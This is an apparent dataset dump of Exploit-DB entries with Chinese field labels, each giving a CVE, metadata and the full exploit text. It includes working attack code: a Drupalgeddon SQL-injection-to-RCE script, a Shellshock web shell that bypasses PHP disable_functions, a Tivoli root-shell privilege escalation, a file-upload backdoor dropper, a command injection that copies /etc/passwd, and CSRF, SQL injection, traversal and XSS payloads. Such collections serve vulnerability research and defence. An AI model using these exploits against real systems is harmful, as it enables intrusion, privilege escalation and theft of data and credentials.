QLWD/code_shield huggingface dataset:
标题: Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution) EDB-ID: 35150 CVE: 2014-3704 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-03 漏洞利用脚本: <?php
//    _____      __   __  _             _______
//   / ___/___  / /__/ /_(_)___  ____  / ____(_)___  _____
//   \__ \/ _ \/ //_/ __/ / __ \/ __ \/ __/ / / __ \/ ___/
//  ___/ /  __/ ,< / /_/ / /_/ / / / / /___/ / / / (__  )
// /____/\___/_/|_|\__/_/\____/_/ /_/_____/_/_/ /_/____/
// Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins
//
// created by Stefan Horst <stefan.horst@sektioneins.de>
//        and Stefan Esser <stefan.esser@sektioneins.de>
//·

include 'common.inc';
include 'password.inc';

// set values
$user_id = 0;
$user_name = '';

$code_inject = 'phpinfo();session_destroy();die("");';

$url = isset($argv[1])?$argv[1]:'';
$code = isset($argv[2])?$argv[2]:'';

if ($url == '-h') {
      echo "usage:\n";
      echo $argv[0].' $url [$code|$file]'."\n";
      die();
}

if (empty($url) || strpos($url,'https') === False) {
      echo "please state the cookie url. It works only with https urls.\n";
      die();
}

if (!empty($code)) {
      if (is_file($code)) {
              $code_inject = str_replace('<'.'?','',str_replace('<'.'?php','',str_replace('?'.'>','',file_get_contents($code))));
      } else {
              $code_inject = $code;
      }
}

$code_inject = rtrim($code_inject,';');
$code_inject .= ';session_destroy();die("");';

if (strpos($url, 'www.') === 0) {
      $url = substr($url, 4);
}

$_SESSION= array('a'=>'eval(base64_decode("'.base64_encode($code_inject).'"))','build_info' => array(), 'wrapper_callback' => 'form_execute_handlers', '#Array' => array('array_filter'), 'string' => 'assert');
$_SESSION['build_info']['args'][0] = &$_SESSION['string'];

list( , $session_name) = explode('://', $url, 2);

// use insecure cookie with sql inj.
$cookieName = 'SESS' . substr(hash('sha256', $session_name), 0, 32);
$password = user_hash_password('test');

$session_id = drupal_random_key();
$sec_ssid = drupal_random_key();

$serial = str_replace('}','CURLYCLOSE',str_replace('{','CURLYOPEN',"batch_form_state|".serialize($_SESSION)));
$inject = "UNION SELECT $user_id,'$user_name','$password','','','',null,0,0,0,1,null,'',0,'',null,$user_id,'$session_id','','127.0.0.1',0,0,REPLACE(REPLACE('".$serial."','CURLYCLOSE',CHAR(".ord('}').")),'CURLYOPEN',CHAR(".ord('{').")) -- ";

$cookie = $cookieName.'[test+'.urlencode($inject).']='.$session_id.'; '.$cookieName.'[test]='.$session_id.'; S'.$cookieName.'='.$sec_ssid;

$ch = curl_init($url);

curl_setopt($ch,CURLOPT_HEADER,True);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,True);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,False);
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0');

curl_setopt($ch,CURLOPT_HTTPHEADER,array(
      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Accept-Language: en-US,en;q=0.5'
));

curl_setopt($ch,CURLOPT_COOKIE,$cookie);

$output = curl_exec($ch);

curl_close($ch);

echo $output; URL: https://www.exploit-db.com/exploits/35150
标题: PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass / Command Injection EDB-ID: 35146 CVE: 2014-7910 2014-7227 2014-7196 2014-7169 2014-62771 2014-6271 2014-3671 2014-3659 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-03 漏洞利用脚本: # Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
<pre>
<?php echo "Disabled functions: ".ini_get('disable_functions')."\n"; ?>
<?php
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
   if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
     $tmp = tempnam(".","data");
     putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
     // In Safe Mode, the user may only alter environment variables whose names
     // begin with the prefixes supplied by this directive.
     // By default, users will only be able to set environment variables that
     // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
     // PHP will let the user modify ANY environment variable!
     mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail
   }
   else return "Not vuln (not bash)";
   $output = @file_get_contents($tmp);
   @unlink($tmp);
   if($output != "") return $output;
   else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?> URL: https://www.exploit-db.com/exploits/35146
标题: MyBB 1.6 - 'private.php?keywords' SQL Injection EDB-ID: 35141 CVE: 2010-5096 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/45565/info
 
MyBB is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
MyBB 1.6 is vulnerable; other versions may also be affected. 

POST /mybb/private.php

my_post_key=&keywords='+or+'a'+'a&quick_search=Search+PMs&allbox=Check+All&fromfid=0&fid=4&jumpto=4&action=do_stuff URL: https://www.exploit-db.com/exploits/35141
标题: MyBB 1.6 - 'search.php?keywords' SQL Injection EDB-ID: 35140 CVE: 2010-5096 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/45565/info

MyBB is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

MyBB 1.6 is vulnerable; other versions may also be affected. 

POST /mybb/search.php

action=do_search&forums=2&keywords='+or+'a'+'a&postthread=1 URL: https://www.exploit-db.com/exploits/35140
标题: Mafya Oyun Scrpti - 'profil.php' SQL Injection EDB-ID: 35123 CVE: 2010-4619 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/45501/info

Mafya Oyun Scrpti is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/profil.php?id=[SQL] URL: https://www.exploit-db.com/exploits/35123
标题: HP Insight Diagnostics Online Edition 8.4 - 'search.php' Cross-Site Scripting EDB-ID: 35116 CVE: 2010-4111 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/45420/info

HP Insight Diagnostics Online Edition is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to HP Insight Diagnostics Online Edition 8.5.1.3712 

http://www.example.com/hpdiags/frontend2/help/search.php?query="onmouseover="alert(1); URL: https://www.exploit-db.com/exploits/35116
标题: Who's Who Script - Cross-Site Request Forgery (Add Admin) EDB-ID: 35129 CVE: 2014-8953 类型: WEBAPPS 平台: PHP 发布日期: 2014-10-31 漏洞利用脚本: # Title        : Who's Who Script CSRF Exploit (Add Admin Account)
# Author       : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
# Home         : http://milw00rm.com / its online
# Date         : 30.10.2014
# Demo     : http://demo.phpscriptlerim.com/free/whoswho/
# Download1    : http://www.phpscriptlerim.com/download/indir.php?id=14
# Download2    : https://yadi.sk/d/C8eQcvUeJjeZ2
# Thks         : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others
# Note     : I write exploit for adminsave.php but other file has a vuln in /yonetim/plugins folder.
     You can write exp. for other files.
# Vulnerable   : ayarsave.php, uyesave.php, slaytadd.php, slaytsave.php
# Not Vuln     : uyedel.php and slaytdel.php file's not vulnerable for CSRF. Because session control available to files

<head>
 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
 <title>Who's Who Script CSRF Exploit (Add Admin Account)</title>
</head>

<body>

<div id="main">


 <div id="cols" class="box">

  <hr class="noscreen" />

  <div id="content" class="box">
   <h1>Admin Panel</h1>
   <br>
<br><br>
      <form method="post" action="http://localhost/filepath/yonetim/plugin/adminsave.php">
      <label><b>Username:</b></label><br>
      <input type="text" size="40" name="username" value="admin" class="input-text" /><br><br>
     
      <label><b>Password:</b></label><br>
      <input type="text" size="40" name="password" class="input-text" /><br><br>

      <input type="submit" class="input-submit" name="gonder" value="Save" />
      </form>
      
   <br><br>
  </div>

 </div>

 <hr class="noscreen" />

 <div id="footer" class="box">

  <p class="f-left">© Coded by ZoRLu</p>

  <p class="f-right"><a href="http://milw00rm.com" target="_blank">milw00rm.com</a></p>

 </div> 

</div>

</body>
</html> URL: https://www.exploit-db.com/exploits/35129
标题: Progress OpenEdge 11.2 - Directory Traversal EDB-ID: 35127 CVE: 2014-8555 类型: WEBAPPS 平台: JSP 发布日期: 2014-10-31 漏洞利用脚本: # Exploit Title: Progress OpenEdge Directory Traversal
# Date: 30/10/2014
# Exploit Author: Mauricio Correa
# Vendor Homepage: www.progress.com
# Software Link: www.progress.com/products/openedge
# Version: 11.2
# Tested on: Windows OS
# CVE : CVE-2014-8555

 

The malicious user sends a malformed request that generates the file access
up directories as follows: 

 

http://target_ip:9090/report/reportViewAction.jsp?selection=..%2f..%2f..%2f.
.%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini 

 

or else 

 

http://
target_ip:9090/report/reportViewAction.jsp?selection=../../../../../../../..
/../../windows/win.ini 

 

 

And the application answers

 

; for 16-bit app support

[fonts]

[extensions]

[mci extensions]

[files]

[Mail]

MAPI=1

CMCDLLNAME32=mapi32.dll

CMC=1

MAPIX=1

MAPIXVER=1.0.0.1

OLEMessaging=1

 

 

More informations (in Br-Portuguese): https://www.xlabs.com.br/blog/?p=256

 

Thanks URL: https://www.exploit-db.com/exploits/35127
标题: Radius Manager 3.6 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 35120 CVE: 2010-4275 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/45481/info

Radius Manager is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Radius Manager 3.6.0 is vulnerable; other versions may also be affected

http:///admin.php?cont=update_usergroup&id=1 POST /admin.php?cont=update_usergroup&id=1 HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http:///admin.php?cont=edit_usergroup&id=1 Cookie: PHPSESSID=fo1ba9oci06jjsqkqpvptftj43; login_admin=admin; online_ordercol=username; online_ordertype=ASC; listusers_ordercol=username; listusers_ordertype=DESC; listusers_lastorder=username Content-Type: application/x-www-form-urlencoded Content-Length: 120 name=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&descr=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&Submit=Update Request 2: http:///admin.php?cont=store_nas POST /admin.php?cont=store_nas HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http:///admin.php?cont=new_nas Cookie: PHPSESSID=fo1ba9oci06jjsqkqpvptftj43; login_admin=admin; online_ordercol=username; online_ordertype=ASC; listusers_ordercol=username; listusers_ordertype=DESC; listusers_lastorder=username Content-Type: application/x-www-form-urlencoded Content-Length: 112 name=Name&nasip=10.0.0.1&type=0&secret=1111&descr=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&Submit=Add+NAS URL: https://www.exploit-db.com/exploits/35120
标题: IBM Tivoli Monitoring 6.2.2 kbbacf1 - Local Privilege Escalation EDB-ID: 35112 CVE: 2013-5467 类型: LOCAL 平台: LINUX 发布日期: 2014-10-29 漏洞利用脚本: #!/bin/sh
# Title: IBM Tivoli Monitoring V6.2.2 kbbacf1 privilege escalation exploit
# CVE: CVE-2013-5467
# Vendor Homepage: http://www-03.ibm.com/software/products/pl/tivomoni
# Author: Robert Jaroszuk
# Tested on: RedHat 5, Centos 5
# Vulnerable version: IBM Tivoli Monitoring V6.2.2 (other versions not tested)
#
echo "[+] Tivoli pwner kbbacf1 privilege escalation exploit by Robert Jaroszuk"
echo "[+] Preparing the code..."
cat > kbbacf1-pwn.c << DONE
#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <dlfcn.h>

void __cxa_finalize (void *d) {
    return;
}

void __attribute__((constructor)) init() {
    setresuid(geteuid(), geteuid(), geteuid());
    execl("/bin/sh", (char *)NULL, (char *)NULL);
}
DONE

cat > version << DONE
GLIBC_2.2.5 { };
GLIBC_2.3 { };
GLIBC_2.3.2 { };
GLIBC_PRIVATE { };
DONE
echo "[+] Preparing the code... part2"
/usr/bin/gcc -Wall -fPIC -shared -static-libgcc -Wl,--version-script=version -o libcrypt.so.1 kbbacf1-pwn.c

echo "[+] Cleaning up..."
/bin/rm -f kbbacf1-pwn.c version

echo "[+] Exploiting."
/opt/IBM/ITM/tmaitm6/lx8266/bin/kbbacf1 URL: https://www.exploit-db.com/exploits/35112
标题: Konke Smart Plug K - Authentication Bypass EDB-ID: 35103 CVE: 2014-7279 类型: REMOTE 平台: HARDWARE 发布日期: 2014-10-29 漏洞利用脚本: -----------------------------------------------------------------------
          Konke Smart Plug Authentication Bypass Vulnerability
-----------------------------------------------------------------------
Author      : gamehacker&zixian
Mail        : gh<gh@waloudong.org>&zixian<me@zixian.org>
Date        : Oct, 17-2014
Vendor      : http://www.kankunit.com/
Link        : http://www.kankunit.com/
Version     : K
CVE         : CVE-2014-7279
 
Exploit & p0c
_____________
 
    “Konke” is a smart Home Furnishing products (http://www.kankunit.com/) in China, the product has a security vulnerability, an attacker could exploit the vulnerability to obtain equipment management authority.


    Konke Smart Plug open 23 port，we can telnet the 23 port，we can get root without password.


    1、Scan Konke. you can use nmap scan the 23 port.
    2、open cmd telnet Konke's 23 port.
    3、now you are the root. it is a openwrt,you can use busybox do everything! you can use "reboot" command to reboot Konke.and so on……


_____________ URL: https://www.exploit-db.com/exploits/35103
标题: Enalean Tuleap 7.4.99.5 - Remote Command Execution EDB-ID: 35100 CVE: 2014-7178 类型: WEBAPPS 平台: PHP 发布日期: 2014-10-28 漏洞利用脚本: Vulnerability title: Tuleap <= 7.4.99.5 Remote Command Execution in Enalean Tuleap
CVE: CVE-2014-7178
Vendor: Enalean
Product: Tuleap
Affected version: 7.4.99.5 and earlier
Fixed version: 7.5
Reported by: Jerzy Kramarz

Details:

Tuleap does not validate the syntax of the requests submitted to SVN handler pages in order to validate weather request passed to passthru() function are introducing any extra parameters that would be executed in the content of the application.

This vulnerability can be exploited by external attackers to introduce external commands into the workflow of the application that would execute them as shown on the attached Proof Of Concept code below.

After registering with the application and sending a request similar to the one below the vulnerability can be triggered:


GET /svn/viewvc.php/?roottype=svn&root=t11 HTTP/1.1
Host: [IP]
User-Agent: M" && cat /etc/passwd > /usr/share/codendi/src/www/passwd.txt && "ozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[IP]/svn/?group_id=102
Cookie: PHPSESSID=2uqjkd0iupn84gigi4e1tekg95; TULEAP_session_hash=362a9e41d1a93c8f195db4ccc6698ef5
Connection: keep-alive
Cache-Control: max-age=0


Note: In order to exploit this vulnerability a user needs to be in position to see SVN repository.


Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-7178/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. URL: https://www.exploit-db.com/exploits/35100
标题: MAARCH 1.4 - Arbitrary File Upload EDB-ID: 35113 CVE: 2015-1587 类型: WEBAPPS 平台: PHP 发布日期: 2014-10-29 漏洞利用脚本: /******************************************************
# Exploit Title: Maarch 1.4 Arbitrary file upload
# Google Dork: intext:"Maarch Maerys Archive v2.1 logo"
# Date: 29/10/2014
# Exploit Author: Adrien Thierry
# Exploit Advisory: http://asylum.seraum.com/Security-Alert-GED-ECM-Maarch-Critical-Vulnerabilities.html
# Vendor Homepage: http://maarch.org
# Software Link: http://downloads.sourceforge.net/project/maarch/Maarch%20Entreprise/Maarch-1.4.zip 
# Version: Maarch GEC <= 1.4 | Maarch Letterbox <= 2.4
# Tested on: Linux / Windows 
******************************************************/

The file "file_to_index.php" is accessible without any authentication to upload a file.

This exploit code is a POC for Maarch Letterbox <= 2.4 and Maarch GEC/GED <= 1.4

Exploit code :

<?php

/* EXPLOIT URL  */
$target_url= "http://website.target/apps/maarch_enterprise/";
/* EMPTY FOR OLDS VERSIONS LIKE LETTERBOX 2.3 */
$indexing_path = "indexing_searching/";
/* TARGET UPLOAD FILE */
$target_file = "file_to_index.php";
/* FILE TO UPLOAD IN SAME PATH AS THIS SCRIPT */
$file = "backdoor.php";
/* NAME, EMPTY WITH LETTERBOX */
$name = "shell";

/* LAUNCHING EXPLOIT */
do_post_request($target_url . $indexing_path . $target_file . "?md5=" . $name, $target_url, $file, $name);

function do_post_request($url, $res, $file, $name)
{
    $data = "";
    $boundary = "---------------------".substr(md5(rand(0,32000)), 0, 10);
    $data .= "--$boundary\n";
    $fileContents = file_get_contents($file);
    $md5 = md5_file($file);
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"file.php\"\n";
    $data .= "Content-Type: text/plain\n";
    $data .= "Content-Transfer-Encoding: binary\n\n";
    $data .= $fileContents."\n";
    $data .= "--$boundary--\n";
    $params = array('http' => array(
    'method' => 'POST',
    'header' => 'Content-Type: multipart/form-data; boundary='.$boundary,
    'content' => $data
    ));

$ctx = stream_context_create($params);
    $fp = fopen($url, 'rb', false, $ctx);
    if (!$fp)
    {
       throw new Exception("Erreur !");
    }
    $response = @stream_get_contents($fp);
    if ($response === false)
    {
       throw new Exception("Erreur !");
    }
    else
    {
        echo "file should be here : ";
            /* LETTERBOX */
            if(count($response) > 1) echo $response;
            /* MAARCH ENTERPRISE | GEC */
            else echo "<a href='" . $res . "tmp/tmp_file_" . $name . "." . $ext . "'>BACKDOOR<a>";

    }
}

?> URL: https://www.exploit-db.com/exploits/35113
标题: Enalean Tuleap 7.4.99.5 - Blind SQL Injection EDB-ID: 35098 CVE: 2014-7176 类型: WEBAPPS 平台: PHP 发布日期: 2014-10-28 漏洞利用脚本: Vulnerability title: Tuleap <= 7.4.99.5 Authenticated Blind SQL Injection in Enalean Tuleap
CVE: CVE-2014-7176
Vendor: Enalean
Product: Tuleap
Affected version: 7.4.99.5 and earlier
Fixed version: 7.5
Reported by: Jerzy Kramarz

Details:

SQL injection has been found and confirmed within the software as an authenticated user. A successful attack could allow an authenticated attacker to access information such as usernames and password hashes that are stored in the database. The following URLs and parameters have been confirmed to suffer from SQL injections:


GET /plugins/docman/?group_id=100&id=16&action=search&global_txt=a<SQL Injection>&global_filtersubmit=Apply HTTP/1.1
Host: 192.168.56.108
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.56.108/plugins/docman/?group_id=100
Cookie: PHPSESSID=3pt0ombsmp0t9adujgrohv8mb6; TULEAP_session_hash=d51433e1f7c9b49079c0e5c511d64c96
Connection: keep-alive


Note: In order to exploit this vulnerability a attacker needs to be in position to access '/plugins/docman/' URN.


Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-7176/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. URL: https://www.exploit-db.com/exploits/35098
标题: Mozilla Firefox/Thunderbird/SeaMonkey - Multiple HTML Injection Vulnerabilities EDB-ID: 35095 CVE: 2010-3770 类型: REMOTE 平台: LINUX 发布日期: 2010-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/45353/info

Mozilla Firefox, SeaMonkey, and Thunderbird are prone to multiple HTML-injection vulnerabilities.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

This issue is fixed in:

Firefox 3.6.13
Firefox 3.5.16
SeaMonkey 2.0.11

x-mac-farsi exploit: <meta charset="x-mac-farsi">?script ?alert(1)//?/script ? URL: https://www.exploit-db.com/exploits/35095